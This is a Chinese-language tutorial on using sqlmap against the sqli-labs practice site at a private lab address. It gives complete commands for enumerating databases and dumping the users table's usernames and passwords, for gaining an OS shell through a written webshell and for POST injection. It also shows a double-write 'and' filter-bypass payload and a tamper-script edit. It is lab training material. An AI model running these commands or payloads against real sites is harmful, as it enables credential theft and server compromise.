渗透测试之Sqllib基础(三)sqlmap的使用

1.   sqlmap

sqlmap启动连接到目标后 直接先测试目标连接性

之后紧接着测试waf 并进行识别 如果有相应的waf规则 会进行提示

2.   sqlmap get的使用过程

#获取数据库名称
sqlmap -u 'http://192.168.20.145/sqlilabs/Less-1/?id=1' --dbs --flush-session

  渗透测试之Sqllib基础(三)sqlmap的使用_第1张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第2张图片

#获取security数据库下的表名称
sqlmap -u 'http://192.168.20.145/sqlilabs/Less-1/?id=1' -D security --tables

  渗透测试之Sqllib基础(三)sqlmap的使用_第3张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第4张图片

#查询user表下的列名称
sqlmap -u 'http://192.168.20.145/sqlilabs/Less-1/?id=1' -D security -T users --columns

  渗透测试之Sqllib基础(三)sqlmap的使用_第5张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第6张图片

#查询user表中的username和password数据
sqlmap -u 'http://192.168.20.145/sqlilabs/Less-1/?id=1' -D security -T users -C username,password --dump

  渗透测试之Sqllib基础(三)sqlmap的使用_第7张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第8张图片

3.   sqlmap的使用参数

sqlmap -u 'http://192.168.20.145/sqlilabs/Less-1/?id=1' --dbs --flush-session --random-agent -v 3 --level 3 --risk 3 --delay=0.5

  渗透测试之Sqllib基础(三)sqlmap的使用_第9张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第10张图片

--dbs            列出当前数据库中的所有数据库
--flush-session  不使用上次跑过相同网站的缓存文件 重新开始
--random-agent   随机选取user-agent头部去发送
-v               显示sqlmap跑的信息  比如 -v3  显示发送的payload 
--level          去根据不同的注入点的位置 例如 cookie位置 例如user-agent位置来进行测试
--risk           发送更多的攻击代码 
--delay          延迟发送  
--force-ssl      如果目标是https的网站 加上此参数 
--os-shell       原理 就是利用mysql写文件的方式 给服务器上写一个sqlmap版本的马文件 并直接进行连接操作
--sql-shell      相当于直接连接到数据库下 执行sql语句在本地 
--refere         进行referer的伪造 若要对referer参数进行注入 --level 值大于等于三
--cookie         跑登录之后的链接地址 使用 
sqlmap -u 'http://192.168.20.145/sqlilabs/Less-1/?id=1' --os-shell

  渗透测试之Sqllib基础(三)sqlmap的使用_第11张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第12张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第13张图片

sqlmap -u 'http://192.168.20.145/sqlilabs/Less-1/?id=1' --sql-shell

  渗透测试之Sqllib基础(三)sqlmap的使用_第14张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第15张图片

--cookie参数 跑登录之后的链接地址 使用 

  渗透测试之Sqllib基础(三)sqlmap的使用_第16张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第17张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第18张图片

4.   sqlmap post的处理

  1.直接把发送包使用burp截断,之后保存该包 使用sqlmap -r test.txt --dbs

  渗透测试之Sqllib基础(三)sqlmap的使用_第19张图片

  burp抓包到数据 复制另存为一个txt文件

  渗透测试之Sqllib基础(三)sqlmap的使用_第20张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第21张图片

  使用sqlmap -r参数

  渗透测试之Sqllib基础(三)sqlmap的使用_第22张图片

  2.使用--data参数

sqlmap -u 'http://192.168.20.145/sqlilabs/Less-11/index.php' --data "uname=admin&passwd=admin&submit=Submit" --dbs

  渗透测试之Sqllib基础(三)sqlmap的使用_第23张图片

  3.--tamper脚本 处理payload

  sqllib-20

  渗透测试之Sqllib基础(三)sqlmap的使用_第24张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第25张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第26张图片

  sqllib-21

  渗透测试之Sqllib基础(三)sqlmap的使用_第27张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第28张图片

  sqllib-25

  25关只爆出一个security的数据库 因为查询语句必须要有and coulmns * from 表名 and 库名

  渗透测试之Sqllib基础(三)sqlmap的使用_第29张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第30张图片

  发现只有security的数据库

  先手工测试过滤的字符 发现过滤了and 可以使用双写绕过

  渗透测试之Sqllib基础(三)sqlmap的使用_第31张图片

  http://192.168.20.145/sqlilabs/Less-25/index.php/?id=1%27%20anandd%201=1--+

  渗透测试之Sqllib基础(三)sqlmap的使用_第32张图片 

  尝试修改tamper脚本    /usr/share/sqlmap/tamper/xx.py

  AND  替换成 anandd  发送的payload是大写AND

  渗透测试之Sqllib基础(三)sqlmap的使用_第33张图片

  渗透测试之Sqllib基础(三)sqlmap的使用_第34张图片

  或者是和burp的联动处理

  Fuzz技术

你可能感兴趣的:(渗透测试基础)